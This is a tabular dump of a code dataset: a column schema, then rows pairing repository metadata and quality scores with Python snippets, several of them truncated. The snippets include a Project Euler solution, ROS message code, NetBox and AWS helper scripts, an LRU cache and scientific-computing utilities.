hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
c3badbbe2ba65c13681fed044b28fd4aa43440f3
646
py
Python
notes-n-resources/Data-Structures-N-Algo/_DS-n-Algos/_Another-One/Project Euler/Problem 9/sol2.py
side-projects-42/INTERVIEW-PREP-COMPLETE
627a3315cee4bbc38a0e81c256f27f928eac2d63
[ "MIT" ]
13
2021-03-11T00:25:22.000Z
2022-03-19T00:19:23.000Z
notes-n-resources/Data-Structures-N-Algo/_DS-n-Algos/_Another-One/Project Euler/Problem 9/sol2.py
side-projects-42/INTERVIEW-PREP-COMPLETE
627a3315cee4bbc38a0e81c256f27f928eac2d63
[ "MIT" ]
160
2021-04-26T19:04:15.000Z
2022-03-26T20:18:37.000Z
notes-n-resources/Data-Structures-N-Algo/_DS-n-Algos/_Another-One/Project Euler/Problem 9/sol2.py
side-projects-42/INTERVIEW-PREP-COMPLETE
627a3315cee4bbc38a0e81c256f27f928eac2d63
[ "MIT" ]
12
2021-04-26T19:43:01.000Z
2022-01-31T08:36:29.000Z
"""A Pythagorean triplet is a set of three natural numbers, for which, a^2+b^2=c^2 Given N, Check if there exists any Pythagorean triplet for which a+b+c=N Find maximum possible value of product of a,b,c among all such Pythagorean triplets, If there is no such Pythagorean triplet print -1.""" #!/bin/python3 import sys ...
32.3
137
0.588235
124
646
3.064516
0.403226
0.031579
0.031579
0.021053
0.031579
0.031579
0
0
0
0
0
0.03178
0.26935
646
19
138
34
0.773305
0.465944
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.083333
0
0.083333
0.083333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3bbcaac1b4c3eb7ea0472b929c01ba8a155ceb5
15
py
Python
openml_data_integration/protobuf_generator/openml_1547/myconstants.py
tuix/tutorials
733d35a8a39df079e8c2432c441b70785ab08440
[ "Apache-2.0" ]
8
2020-04-21T13:29:04.000Z
2021-12-13T08:59:09.000Z
openml_data_integration/protobuf_generator/openml_1547/myconstants.py
tuix/tutorials
733d35a8a39df079e8c2432c441b70785ab08440
[ "Apache-2.0" ]
3
2021-04-27T11:03:04.000Z
2021-05-24T18:22:57.000Z
openml_data_integration/protobuf_generator/openml_1547/myconstants.py
tuix/tutorials
733d35a8a39df079e8c2432c441b70785ab08440
[ "Apache-2.0" ]
6
2020-07-06T08:23:25.000Z
2021-11-24T10:39:34.000Z
DATA_ID = 1547
7.5
14
0.733333
3
15
3.333333
1
0
0
0
0
0
0
0
0
0
0
0.333333
0.2
15
1
15
15
0.5
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
c3bc911a72d3ea304b521b36a90bb52a8b6a530e
10,883
py
Python
devel/lib/python2.7/dist-packages/nav2d_msgs/msg/_LocalizedScan.py
pplankton/MRSLAM
0a16489a2cbd0c2d1511b506c540446cc670bde8
[ "MIT" ]
1
2021-05-17T11:13:01.000Z
2021-05-17T11:13:01.000Z
devel/lib/python2.7/dist-packages/nav2d_msgs/msg/_LocalizedScan.py
pplankton/MRSLAM
0a16489a2cbd0c2d1511b506c540446cc670bde8
[ "MIT" ]
null
null
null
devel/lib/python2.7/dist-packages/nav2d_msgs/msg/_LocalizedScan.py
pplankton/MRSLAM
0a16489a2cbd0c2d1511b506c540446cc670bde8
[ "MIT" ]
null
null
null
# This Python file uses the following encoding: utf-8 """autogenerated by genpy from nav2d_msgs/LocalizedScan.msg. Do not edit.""" import sys python3 = True if sys.hexversion > 0x03000000 else False import genpy import struct import std_msgs.msg import sensor_msgs.msg class LocalizedScan(genpy.Message): _md5sum = "...
39.147482
193
0.639989
1,525
10,883
4.384262
0.184918
0.029913
0.029614
0.025426
0.556087
0.556087
0.518247
0.509572
0.490428
0.475172
0
0.018629
0.230543
10,883
277
194
39.288809
0.779795
0.115961
0
0.5625
1
0.008929
0.288959
0.029477
0
0
0.001057
0
0
1
0.040179
false
0
0.022321
0
0.120536
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
c3bf3b6220b1341a752239051d140a1c1b00bf32
3,511
py
Python
tests/test_hashing.py
David-Jianguang-Ran/gravity-hash
58c28f07646f3f9177d685c80da4ec4de98cef48
[ "MIT" ]
null
null
null
tests/test_hashing.py
David-Jianguang-Ran/gravity-hash
58c28f07646f3f9177d685c80da4ec4de98cef48
[ "MIT" ]
null
null
null
tests/test_hashing.py
David-Jianguang-Ran/gravity-hash
58c28f07646f3f9177d685c80da4ec4de98cef48
[ "MIT" ]
null
null
null
from unittest import TestCase from gravity_simulation.hashing import * class TestDigest(TestCase): def test_get_digest(self): cases = [ "An enchantress disguised as an old beggar woman arrives at a castle during a ball and offers the host, a cruel and selfish prince, a rose in return for she...
76.326087
1,393
0.698092
559
3,511
4.359571
0.288014
0.019696
0.034469
0.029545
0.69922
0.669676
0.669676
0.669676
0.669676
0.669676
0
0.007567
0.247223
3,511
45
1,394
78.022222
0.914491
0.04671
0
0.066667
0
0.133333
0.716338
0
0
0
0
0
0.166667
1
0.066667
false
0.066667
0.066667
0
0.166667
0.033333
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
4
c3bf686e9d3b64fb3a2f04a67c481cb724c6b8f5
1,894
py
Python
pushnetbox.py
M35a2/cisco-interfaces-to-netbox
0d8df402ed85571bdb6e8b627c080fbea670a7f8
[ "BSD-3-Clause" ]
null
null
null
pushnetbox.py
M35a2/cisco-interfaces-to-netbox
0d8df402ed85571bdb6e8b627c080fbea670a7f8
[ "BSD-3-Clause" ]
null
null
null
pushnetbox.py
M35a2/cisco-interfaces-to-netbox
0d8df402ed85571bdb6e8b627c080fbea670a7f8
[ "BSD-3-Clause" ]
null
null
null
from netbox import NetBox import requests import json import csv from re import search requests.packages.urllib3.disable_warnings() def createAddress(address, description, vrf, network, role): #netbox settings netbox = NetBox(host='10.255.X.X', port=443, use_ssl=True, auth_token='5d6dfe9f6f39785eb86f') ...
30.548387
131
0.578669
201
1,894
5.378109
0.288557
0.066605
0.088807
0.099907
0.654949
0.599445
0.599445
0.599445
0.53839
0.442183
0
0.025397
0.334741
1,894
61
132
31.04918
0.83254
0.058078
0
0.565217
0
0
0.111675
0
0
0
0
0
0
1
0.021739
false
0
0.108696
0
0.130435
0.130435
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3c04babb354c41a1b5bfe232b2d3bb50a6a173a
5,568
py
Python
secpy256k1/utils.py
summa-tx/riemann-secp256k1
2013618902eadfab812813b3f93c159187de7a72
[ "MIT" ]
6
2019-01-09T18:59:00.000Z
2020-07-12T09:14:08.000Z
secpy256k1/utils.py
summa-tx/riemann-secp256k1
2013618902eadfab812813b3f93c159187de7a72
[ "MIT" ]
4
2019-01-12T19:16:26.000Z
2019-03-13T19:11:37.000Z
secpy256k1/utils.py
summa-tx/secpy256k1
2013618902eadfab812813b3f93c159187de7a72
[ "MIT" ]
2
2019-01-19T21:52:33.000Z
2019-01-23T10:48:57.000Z
import hashlib from _secpy256k1 import ffi def sha256(msg: bytes) -> bytes: return hashlib.sha256(msg).digest() def validate_cdata_type(value, type_str, err_msg, null_flag=False): '''Checks that value is a valid ffi CData type. Args: value (ffi.CData): value to check type_str ...
32.184971
79
0.596983
661
5,568
4.897126
0.142209
0.024096
0.029657
0.07785
0.318814
0.283905
0.206982
0.193698
0.069818
0.069818
0
0.034722
0.327586
5,568
172
80
32.372093
0.829861
0.521552
0
0.241379
0
0
0.234531
0.063176
0
0
0
0
0
1
0.224138
false
0
0.034483
0.017241
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
c3c245e82abe59f7ffe1e78f2b4cafcd335e9622
2,837
py
Python
scikits/pulsefit/correct_addpulses.py
johnnylee/scikits.pulsefit
d07571d524d974f52a863cd96a823fce6f1fed1e
[ "MIT" ]
2
2015-08-25T15:41:26.000Z
2016-05-23T01:42:37.000Z
scikits/pulsefit/correct_addpulses.py
johnnylee/scikits.pulsefit
d07571d524d974f52a863cd96a823fce6f1fed1e
[ "MIT" ]
1
2015-03-28T00:32:16.000Z
2017-04-04T10:48:49.000Z
scikits/pulsefit/correct_addpulses.py
johnnylee/scikits.pulsefit
d07571d524d974f52a863cd96a823fce6f1fed1e
[ "MIT" ]
null
null
null
from __future__ import print_function import numpy as np class CorrectAddPulses(object): def __init__(self, ampfit, optfit, flagger, pulse_add_len, th_min, min_dist=0, debug=False): """Arguments: ampfit -- Ampitude fitter. optfit -- Fit optimizer. flagger -- ...
32.238636
73
0.505111
331
2,837
4.205438
0.305136
0.077586
0.047414
0.057471
0.134339
0.094828
0
0
0
0
0
0.011047
0.393726
2,837
87
74
32.609195
0.798256
0.153331
0
0.160714
0
0
0.052155
0
0
0
0
0
0
1
0.071429
false
0
0.035714
0
0.142857
0.125
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3c27fde8746702040364868f95806b209ac0997
2,549
py
Python
server/accession/fixtures/actiontypes.py
coll-gate/collgate
8c2ff1c59adda2bf318040f588c05263317a2812
[ "MIT" ]
2
2017-07-04T16:19:09.000Z
2019-08-16T04:54:47.000Z
server/accession/fixtures/actiontypes.py
coll-gate/collgate
8c2ff1c59adda2bf318040f588c05263317a2812
[ "MIT" ]
null
null
null
server/accession/fixtures/actiontypes.py
coll-gate/collgate
8c2ff1c59adda2bf318040f588c05263317a2812
[ "MIT" ]
1
2018-04-13T08:28:09.000Z
2018-04-13T08:28:09.000Z
# -*- coding: utf-8; -*- # # @file actiontypes.py # @brief collgate # @author Frédéric SCHERMA (INRA UMR1095) # @date 2017-11-30 # @copyright Copyright (c) 2017 INRA/CIRAD # @license MIT (see LICENSE file) # @details ACTION_TYPES = { 'introduction': { 'id': None, 'name': 'introduction', 'la...
22.758929
66
0.429973
183
2,549
5.939891
0.371585
0.055198
0.091996
0
0
0
0
0
0
0
0
0.010746
0.379364
2,549
111
67
22.963964
0.676359
0.077678
0
0.309278
0
0
0.300299
0
0
0
0
0
0
1
0.010309
false
0
0.010309
0
0.020619
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3c2d5bd4cb2951c2a4329f8a2068be5bb546f68
116,610
py
Python
scripts/analytics_tests.py
rombie/contrail-test
a68c71d6f282142501a7e2e889bbb232fdd82dc3
[ "Apache-2.0" ]
null
null
null
scripts/analytics_tests.py
rombie/contrail-test
a68c71d6f282142501a7e2e889bbb232fdd82dc3
[ "Apache-2.0" ]
null
null
null
scripts/analytics_tests.py
rombie/contrail-test
a68c71d6f282142501a7e2e889bbb232fdd82dc3
[ "Apache-2.0" ]
null
null
null
# Need to import path to test/fixtures and test/scripts/ # Ex : export PYTHONPATH='$PATH:/root/test/fixtures/:/root/test/scripts/' # # To run tests, you can do 'python -m testtools.run tests'. To run specific tests, # You can do 'python -m testtools.run -l tests' # Set the env variable PARAMS_FILE to point to your ini ...
42.021622
334
0.534911
13,577
116,610
4.362451
0.053841
0.038832
0.031437
0.018572
0.711273
0.663003
0.622364
0.581117
0.53852
0.517415
0
0.012942
0.37381
116,610
2,774
335
42.03677
0.798192
0.047826
0
0.631028
0
0
0.112705
0.003774
0.002275
0
0
0
0.002275
0
null
null
0.022748
0.007734
null
null
0.014104
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
c3c4355aa628e0a4b790fc108449eb7a3f5be2e3
2,128
py
Python
ops_omgx/aws-secrets-importer.py
jet86/optimism
ed0d1ba349c5aa6f3e57c5b5886b34a167177ffa
[ "MIT" ]
13
2021-06-04T20:01:01.000Z
2021-11-25T07:43:53.000Z
ops_omgx/aws-secrets-importer.py
jet86/optimism
ed0d1ba349c5aa6f3e57c5b5886b34a167177ffa
[ "MIT" ]
361
2021-05-24T16:36:12.000Z
2021-12-04T18:03:26.000Z
ops_omgx/aws-secrets-importer.py
jet86/optimism
ed0d1ba349c5aa6f3e57c5b5886b34a167177ffa
[ "MIT" ]
9
2021-05-29T00:13:15.000Z
2021-11-19T18:11:01.000Z
#!/usr/bin/python3 import json import re import subprocess import sys, getopt from ruamel.yaml import YAML def main(argv): inputfile = '' description = "Create Secret Manager" secret_name = '' region = 'us-east-1' profile = 'default' if (len(sys.argv) <= 1 ) or (len(sys.argv) > 11): pr...
36.689655
187
0.547932
253
2,128
4.557312
0.312253
0.060711
0.039029
0.079792
0.305291
0.305291
0.305291
0.305291
0.305291
0.305291
0
0.004587
0.282895
2,128
57
188
37.333333
0.750983
0.007989
0
0.134615
0
0.076923
0.316114
0.043602
0
0
0
0
0
1
0.019231
false
0
0.173077
0
0.192308
0.134615
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3c46544743c479d3ac35edcaaac5e3250bc57a9
309
py
Python
constants.py
Ictcmn/canarytokens
a9fb97929bcec8643b02a8be34fca7d525a382b8
[ "BSD-3-Clause" ]
1
2021-01-09T16:27:23.000Z
2021-01-09T16:27:23.000Z
constants.py
Ictcmn/canarytokens
a9fb97929bcec8643b02a8be34fca7d525a382b8
[ "BSD-3-Clause" ]
null
null
null
constants.py
Ictcmn/canarytokens
a9fb97929bcec8643b02a8be34fca7d525a382b8
[ "BSD-3-Clause" ]
null
null
null
OUTPUT_CHANNEL_EMAIL = 'Email' OUTPUT_CHANNEL_WEBHOOK = 'Webhook' OUTPUT_CHANNEL_TWILIO_SMS = 'TwilioSMS' INPUT_CHANNEL_HTTP = 'HTTP' INPUT_CHANNEL_DNS = 'DNS' INPUT_CHANNEL_IMGUR = 'Imgur' INPUT_CHANNEL_LINKEDIN = 'LinkedIn' INPUT_CHANNEL_BITCOIN = 'Bitcoin' INPUT_CHANNEL_SMTP = 'SMTP'
25.75
41
0.757282
37
309
5.810811
0.378378
0.334884
0
0
0
0
0
0
0
0
0
0
0.15534
309
11
42
28.090909
0.823755
0
0
0
0
0
0.168831
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
c3c4b445db1b4b18e57fba0843364a7e6f3beaa4
976
py
Python
timefred/dikt/diktutils.py
giladbarnea/timefred
36cc8b0f09d38c0ed7b3e659ce337a75cd8b0c60
[ "MIT" ]
null
null
null
timefred/dikt/diktutils.py
giladbarnea/timefred
36cc8b0f09d38c0ed7b3e659ce337a75cd8b0c60
[ "MIT" ]
null
null
null
timefred/dikt/diktutils.py
giladbarnea/timefred
36cc8b0f09d38c0ed7b3e659ce337a75cd8b0c60
[ "MIT" ]
null
null
null
from typing import Union, Any, Type _builtin_scalars = frozenset({str, bytes, bytearray, int, float, complex, bool, type(None)}) def gettype(x: Union[type, Type[Any]]) -> type: if type(x) is type: # This includes gettype(type) and gettype(dict) return x # gettype...
23.804878
80
0.617828
134
976
4.335821
0.335821
0.034423
0.154905
0.041308
0.196213
0.137694
0.137694
0.137694
0.137694
0
0
0
0.256148
976
40
81
24.4
0.800275
0.290984
0
0
0
0
0
0
0
0
0
0
0
1
0.210526
false
0
0.052632
0.052632
0.578947
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
c3c71ec1d1a7678bdcaa0e51dcb4f75be92aa874
555
py
Python
cartbox/cart/urls.py
bayersglassey/cartbox
579072eea7970ba56111e2d815aff83cea522502
[ "BSD-2-Clause" ]
null
null
null
cartbox/cart/urls.py
bayersglassey/cartbox
579072eea7970ba56111e2d815aff83cea522502
[ "BSD-2-Clause" ]
null
null
null
cartbox/cart/urls.py
bayersglassey/cartbox
579072eea7970ba56111e2d815aff83cea522502
[ "BSD-2-Clause" ]
null
null
null
from django.conf.urls import url, include from django.contrib.auth.decorators import login_required from . import views urlpatterns = [ url(r'^shop/$', login_required(views.ShopView.as_view()), name='shop'), url(r'^order/(?P<pk>\d+)/$', login_required(views.OrderView.as_view()), ...
27.75
57
0.630631
68
555
4.985294
0.441176
0.19174
0.212389
0
0
0
0
0
0
0
0
0
0.2
555
19
58
29.210526
0.763514
0
0
0
0
0
0.144144
0
0
0
0
0
0
1
0
false
0
0.176471
0
0.176471
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
c3c7d9360b54f39f3fe5652ae31ef0dfc4bf8638
9,331
py
Python
tethys_compute/models/dask/dask_job.py
msouff/tethys
45795d1e6561d5db8fddd838f4d1ae1d91dbb837
[ "BSD-2-Clause" ]
null
null
null
tethys_compute/models/dask/dask_job.py
msouff/tethys
45795d1e6561d5db8fddd838f4d1ae1d91dbb837
[ "BSD-2-Clause" ]
1
2018-09-20T21:27:14.000Z
2018-09-20T21:27:14.000Z
tethys_compute/models/dask/dask_job.py
msouff/tethys
45795d1e6561d5db8fddd838f4d1ae1d91dbb837
[ "BSD-2-Clause" ]
null
null
null
""" ******************************************************************************** * Name: basic_job * Author: nswain, teva, tran * Created On: September 19, 2018 * Copyright: (c) Aquaveo 2018 ******************************************************************************** """ import logging import datetime from djan...
31.630508
214
0.58729
1,044
9,331
5.14272
0.260536
0.037996
0.019557
0.012665
0.163345
0.125535
0.074502
0.064444
0.051034
0.029428
0
0.003767
0.317222
9,331
294
215
31.738095
0.838958
0.31315
0
0.342105
0
0
0.102106
0.003844
0
0
0
0
0
1
0.085526
false
0.006579
0.059211
0
0.269737
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3c8a799dcbacef22d4252dc752a00db83b2fca3
5,699
py
Python
cournot_v6.py
Lkruitwagen/Cournot
4a6defc19e18774dc61f1e2c3a6bd0baff2dc00e
[ "MIT" ]
1
2020-04-08T14:25:04.000Z
2020-04-08T14:25:04.000Z
cournot_v6.py
Lkruitwagen/Cournot
4a6defc19e18774dc61f1e2c3a6bd0baff2dc00e
[ "MIT" ]
1
2018-11-13T10:58:35.000Z
2018-11-13T10:58:35.000Z
cournot_v6.py
Lkruitwagen/Cournot
4a6defc19e18774dc61f1e2c3a6bd0baff2dc00e
[ "MIT" ]
null
null
null
from scipy import optimize,arange from math import * import sys import csv import numpy as np import matplotlib.pyplot as plt #matplotlib inline #vectorised 2P-3T cournot now using basinhopping #1. get in the data, etc. ... CHECK! #2. make arbitrary to nxm ... CHECK! #3. make investment game ... v7 #4. div;expl #vec...
30.31383
210
0.589402
1,039
5,699
3.133782
0.218479
0.013514
0.038698
0.023649
0.363022
0.344902
0.324324
0.278256
0.237715
0.234029
0
0.069134
0.208107
5,699
188
211
30.31383
0.652338
0.350061
0
0.10989
0
0
0.041804
0.009901
0
0
0
0
0
0
null
null
0
0.065934
null
null
0.175824
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
c3c9636997a7889d7b0b583458839ea611f4ceb5
7,566
py
Python
public_21CMvFAST_MC/Programs/CosmoHammer_21CMMC/emcee/utils.py
NNSSA/21cmvFAST
8f015427f3609a3051b4fa185bdbe55b379c930f
[ "MIT" ]
5
2019-04-18T11:31:34.000Z
2020-11-15T03:29:14.000Z
emcee/utils.py
lauralwatkins/emcee
051770bcfb6ed85bbc08459850deae8561ea7110
[ "MIT" ]
1
2019-12-17T05:27:25.000Z
2019-12-18T19:59:55.000Z
emcee/utils.py
lauralwatkins/emcee
051770bcfb6ed85bbc08459850deae8561ea7110
[ "MIT" ]
2
2019-11-14T13:54:46.000Z
2019-12-08T17:16:53.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import (division, print_function, absolute_import, unicode_literals) __all__ = ["sample_ball", "MH_proposal_axisaligned"] import numpy as np # If mpi4py is installed, import it. try: from mpi4py import MPI MPI = MPI excep...
34.081081
79
0.524055
871
7,566
4.463835
0.311137
0.016975
0.022634
0.032922
0.09465
0.067644
0.028292
0.016461
0.016461
0
0
0.009107
0.390431
7,566
221
80
34.235294
0.833912
0.277161
0
0.198198
0
0
0.105584
0.004522
0
0
0
0
0.018018
1
0.117117
false
0
0.036036
0.018018
0.252252
0.081081
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3c9da5766ad3a8e6c556571dd37b7fb321d959a
1,522
py
Python
utils/lru_cache.py
glongh/visual-run
252e160cec8906319baf0394fc3feb133df3947a
[ "MIT" ]
null
null
null
utils/lru_cache.py
glongh/visual-run
252e160cec8906319baf0394fc3feb133df3947a
[ "MIT" ]
null
null
null
utils/lru_cache.py
glongh/visual-run
252e160cec8906319baf0394fc3feb133df3947a
[ "MIT" ]
null
null
null
from collections import OrderedDict ''' Cache Eviction Flow # get(i) if i in cache: return cache[i] else: # set(i, m) x = longest-in-the-past from cache evict x, add i to cache return cache[i] ''' class CacheLRU(): def __init__(self, size: int) -> None: self.size = size self.cache...
33.822222
120
0.622208
229
1,522
4.100437
0.441048
0.076677
0.034079
0.036209
0.115016
0.115016
0.080937
0.080937
0.080937
0.080937
0
0.001854
0.291064
1,522
45
121
33.822222
0.868397
0.449409
0
0.125
0
0
0
0
0
0
0
0
0
1
0.1875
false
0
0.0625
0
0.4375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3d17483a3af8faee3d6fe2b256913e702cd42e8
1,236
py
Python
LeetCode/1-1000/601-700/601-625/605. Can Place Flowers/solution-python3.py
adubois85/coding_challenge_websites
7867a05847a216661eff3b24b1cb1480fb7d3030
[ "Apache-2.0" ]
null
null
null
LeetCode/1-1000/601-700/601-625/605. Can Place Flowers/solution-python3.py
adubois85/coding_challenge_websites
7867a05847a216661eff3b24b1cb1480fb7d3030
[ "Apache-2.0" ]
null
null
null
LeetCode/1-1000/601-700/601-625/605. Can Place Flowers/solution-python3.py
adubois85/coding_challenge_websites
7867a05847a216661eff3b24b1cb1480fb7d3030
[ "Apache-2.0" ]
null
null
null
from typing import List class Solution: # copy / paste from the supposed "fastest" solution on LeetCode # Sometimes the fastest isn't the best, though, as I find this significantly # more difficult to parse what's going on than either of my solutions # Also, submitting to LeetCode showed it wasn't act...
38.625
84
0.478964
141
1,236
4.198582
0.475177
0.091216
0.126689
0.108108
0.277027
0.202703
0.202703
0.202703
0.202703
0.138514
0
0.033237
0.440129
1,236
31
85
39.870968
0.822254
0.223301
0
0.4
0
0
0
0
0
0
0
0
0
1
0.04
false
0
0.04
0
0.16
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3d242b3088a9e13dd0d9c61fc0a9a0586b1bef7
1,996
py
Python
sfftkplus/unittests/test_schema.py
emdb-empiar/sfftk-plus
7ceca24b78c540169bddb3fd433b4aed050f40ec
[ "Apache-2.0" ]
null
null
null
sfftkplus/unittests/test_schema.py
emdb-empiar/sfftk-plus
7ceca24b78c540169bddb3fd433b4aed050f40ec
[ "Apache-2.0" ]
null
null
null
sfftkplus/unittests/test_schema.py
emdb-empiar/sfftk-plus
7ceca24b78c540169bddb3fd433b4aed050f40ec
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # test_schema.py import os import shlex import unittest import h5py from . import TEST_DATA_PATH from ..core.parser import parse_args from ..formats import vtkmesh from ..schema import SFFPSegmentation SCHEMA_VERSION = SFFPSegmentation().version __author__ = "Paul K. Korir, PhD" __email_...
35.017544
84
0.688878
269
1,996
4.873606
0.312268
0.06865
0.036613
0.042715
0.356979
0.322654
0.193745
0.158658
0.158658
0.091533
0
0.021277
0.199399
1,996
56
85
35.642857
0.799124
0.112725
0
0.057143
0
0
0.101317
0
0
0
0
0
0.2
1
0.142857
false
0
0.228571
0
0.4
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3d57923087c2261e4fd447792f926798a4e982f
10,806
py
Python
Calculator.py
